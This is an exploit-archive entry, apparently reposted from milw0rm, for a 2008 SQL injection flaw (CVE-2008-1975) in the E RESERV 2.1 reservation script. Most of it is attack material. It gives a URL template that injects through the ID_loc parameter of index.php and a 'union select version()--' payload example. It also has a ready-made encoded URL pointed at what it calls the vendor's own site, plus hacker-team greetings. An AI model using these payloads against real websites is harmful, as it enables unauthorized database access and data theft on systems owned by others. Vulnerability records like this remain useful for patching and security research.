E RESERV 2.1 - 'index.php' SQL Injection



EKU-ID: 13428 CVE: OSVDB-44565;CVE-2008-1975 OSVDB-ID:
Author: JIKO Published: 2008-04-23 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


=========================================================
=============== JIKI TEAM [ Maroc And YameN ]===============
=========================================================
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : E RESERV VERSION 2.1
# Bug   : Remote SQL Injection Vulnerability
# Download  : http://cogites.com/e_reserv/index.php?num=21
=========================JIkI Team===================
# Exploit  :
 http://[Site]/[script]/index.php?ID_loc=[sql]
# Ex :
http://[Site]/[script]/index.php?ID_loc=-1 union select version()--
At Office Site
http://cogites.com/e_reserv/e_reserv/index.php?ID_loc=-1%20union%20select%20version()--
=========================================================
 greetz:
 all my friend and H-T Team and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com
=========================================================

# milw0rm.com [2008-04-23]